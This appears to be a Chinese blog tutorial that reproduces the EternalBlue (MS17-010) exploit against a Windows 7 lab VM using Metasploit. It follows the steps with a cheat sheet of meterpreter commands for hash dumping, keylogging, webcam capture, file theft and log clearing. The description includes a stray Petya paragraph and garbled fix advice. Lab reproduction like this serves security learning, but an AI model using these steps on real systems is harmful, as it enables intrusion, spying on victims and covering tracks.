一、永恒之蓝的介绍

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

二、漏洞描述

恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

本次黑客使用的是Petya勒索病毒的变种Petwarp,攻击时仍然使用了永恒之蓝勒索漏洞,并会获取系统用户名与密码进行内网传播。

本次爆发使用了已知OFFICE漏洞、永恒之蓝SMB漏洞、局域网感染等网络自我复制技术,使得病毒可以在短时间内呈爆发态势。同时,该病毒与普通勒索病毒不同,其不会对电脑中的每个文件都进行加密,而是通过加密硬盘驱动器主文件表(MFT),使主引导记录(MBR)不可操作,通过占用物理磁盘上的文件名,大小和位置的信息来限制对完整系统的访问,从而让电脑无法启动,相较普通勒索病毒对系统更具破坏性。

三、MSF介绍

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了,此工具在kali中是自带的。

四、漏洞复现

  1. 复现环境

win7(192.168.8.146)(实验前将防火墙彻底关闭)

win10(192.168.8.8)后续攻击使用

kali(192.168.8.145)

  1. 先使用nmap对目标机进行扫描,查看其445端口是否开启

  1. 在终端输入msfconsole进入MSF

  1. 使用msf中的查找命令搜索关于永恒之蓝的脚本:search ms17—010

其中:auxiliary为辅助模块脚本;exploit为攻击模块脚本。

  1. 使用ms17-010辅助模块

  • 使用模块 use 粘贴模块

  1. 配置ms17-010的辅助性脚本

  • 查看配置:show options

  1. 配置目标机IP地址:set RHOST +目标机ip

  1. 配置成功后,执行ms17-010的辅助性脚本run #运行模块

  1. 使用ms17-010攻击模块

  • 使用模块 use 粘贴模块

  1. 查看配置项

  • 查看配置:show options

  1. 设置被攻击机的ip地址:set RHOST +目标机ip

  1. 运行ms17-010攻击模块

  1. 成功建立会话后,使用一些功能shell

  • 在此处可对目标机使用dos命令进行操作

  • 使用exit可退出win7终端

  1. 入侵成功后

  • 开启远程终端:需要双终端操作

在shell中,新建一个用户,将其加入管理员组

  • 在meterpreter下使用run getgui -e,试目标机打开允许被远程连接

  • 用win10进行远控

  • 在meterpreter下进行进一步实验

  • 查看靶机相关进程信息:ps

  • 查看靶机相关信息:sysinfo

  • 截图:screenshot

  • 获取靶机hash,破解密码:hashdump

输入hashdump

寻找一个在线MD5解密网站进行解密

  • 还有很多其他的操作这里就不一一演示了

run scraper #查看目标主机详细信息

load kiwi    #加载

pwd    #查看目标当前目录(windows)

getlwd   #查看目标当前目录(Linux)

search -f *.jsp -d e:\        #搜索E盘中所有以.jsp为后缀的文件

download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下

upload /root/test.txt d:\test   #将/root/test.txt上传到目标机的 d:\test\ 目录下

getpid    #查看当前Meterpreter Shell的进程

idletime  #查看主机运行时间

getuid    #查看获取的当前权限

screenshot #截图

webcam_list #查看目标主机的摄像头

webcam_snap #拍照

webcam_stream                #开视频

execute 参数 -f 可执行文件 #执行可执行程序

run getgui -e          #开启远程桌面

keyscan_start          #开启键盘记录功能

keyscan_dump        #显示捕捉到的键盘记录信息

keyscan_stop         #停止键盘记录功能

uictl disable keyboard     #禁止目标使用键盘

uictl enable keyboard     #允许目标使用键盘

uictl disable mouse       #禁止目标使用鼠标

uictl enable mouse     #允许目标使用鼠标

clearev            #清除日志

  • 修复方法

1.关闭bios服务,或开启防火墙,屏蔽服务端口

2.给系统打上永恒之蓝的漏洞修复补丁

永恒之蓝(ms17-010)简介与复现相关推荐

  1. 永恒之蓝(EternalBlue)实例复现

    一.前言 2017年4月的时候,Shadow broker在网络上公布一批NSA(美国国家安全局)使用的网络武器,其中就包含一种工具,可以远程控制有漏洞的任何一台windows机器,正是这些工具的问世 ...

  2. MS17-010(永恒之蓝)漏洞分析与复现

    文章目录 一.漏洞简介 1.永恒之蓝介绍: 2.漏洞原理: 3.影响版本: 二.漏洞复现 复现环境: 复现过程: 1.主机发现: 2.使用MSF的永恒之蓝漏洞模块 3.使用ms17-010扫描模块,对 ...

  3. Windows下的MS17-010(永恒之蓝)漏洞分析与复现

    目录 一.漏洞简介 1.永恒之蓝: 2.漏洞原理: 3.影响版本: 二.复现环境 三.漏洞复现 1.使用kali自带的nmap对靶机进行端口扫描,扫描到445端口处于开放状态 2.启动kali自带的m ...

  4. 永恒之蓝(Eternal Blue)复现

    永恒之蓝介绍 什么是永恒之蓝 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机.甚至于201 ...

  5. 永恒之蓝漏洞原理及漏洞复现

    摘要 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含"永恒之蓝"工具,"永恒之蓝"利用W ...

  6. python调用msfconsole全自动永恒之蓝攻击_使用Metasploit复现永恒之蓝攻击

    1.Metaspolit介绍 Metasploit是一个免费的.可下载的框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击.它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,并保持着频繁更新 ...

  7. metasploit实战-ms17-010(永恒之蓝)漏洞利用与复现

    本文目录 永恒之蓝概述 实验环境 实验过程 第一步:扫描漏洞 第二步:渗透攻击 第三步:漏洞利用 截屏 永恒之蓝概述 ms17-010(永恒之蓝)漏洞是由Shadow Brokers(影子经纪人)在2 ...

  8. EternalBlue永恒之蓝漏洞(MS17-010)复现

    测试环境 靶机:    Windows7                IP:192.168.5.90   开放445端口  关闭防火墙 攻击机:Windows10/kali        IP:19 ...

  9. NSA武器库之永恒之蓝、浪漫、冠军复现

    https://www.zhihu.com/question/59783043 https://www.freebuf.com/articles/system/135270.html?replytoc ...

  10. Metasploit渗透框架介绍及永恒之蓝复现

    Metasploit渗透框架介绍及永恒之蓝复现 一.Metasploit渗透框架介绍 1.1 名词解释 1.2 MSF简介 1.3 MSF框架结构 1.4 MSF命令汇总 1.4.1 常用命令 1.4 ...

最新文章

  1. Meta 研发触觉手套助力元宇宙,虚拟世界也可以有触觉
  2. 功能测试——Selenium自动化功能测试
  3. Mac OS X Leopard 10.5.5 安裝手记 (Dell D830)
  4. VS中PCL库附加依赖项配置
  5. 帝国CMS7.5.2QQ登录插件
  6. [ES6] 细化ES6之 -- 块级作用域
  7. Python爬虫要违法了吗?小编告诉大家:守住规则,大胆去爬
  8. [读书笔记]Ajax的通信方式 (一)
  9. 基于asp. net sql快餐外卖设计网站成品
  10. python3.7怎么用_Python 3.7.0 来了!
  11. 实现multbandblend
  12. 用一套鼠标键盘控制两台或多台电脑
  13. 3D打印——从solidworks到打印机(含打印机常见问题及解决方法)
  14. 《学会提问》——批判性思维的思考
  15. http://dongxicheng.org/
  16. 试答一道经典的腾讯面试题:QQ的MVP
  17. 什么是固定资产管理系统?固定资产管理小程序有哪些功能?
  18. TC限速原理和TC限速的实现
  19. 电子工程师的自我修养 - 锂电池的测量电路
  20. PHP内核-Apache2的SAPI

热门文章

  1. 预审递交文件制作时的小tips。
  2. pve远程连接 spcie_PVE相关 篇一:解决CX341a PVE 中报错PCIe Bus Error
  3. 虚伪的人,喜欢说这四句话,不要深交
  4. 不及格的小A 360笔试 C++
  5. 一言不合又双叒叕越狱,盘古团队越狱iOS10 Beta 8
  6. Andorid 风水罗盘简单实现
  7. 想体验HomeKit智能家居?不如来看看这款智能生态
  8. 微信公众号增粉秘籍:三大矩阵简介
  9. php订阅号增粉,微信公众号增粉方案(10个微信公众号增粉办法)
  10. 倒计时3天丨2023云和恩墨生态产品发布会即将开启,三大新品蓄势待发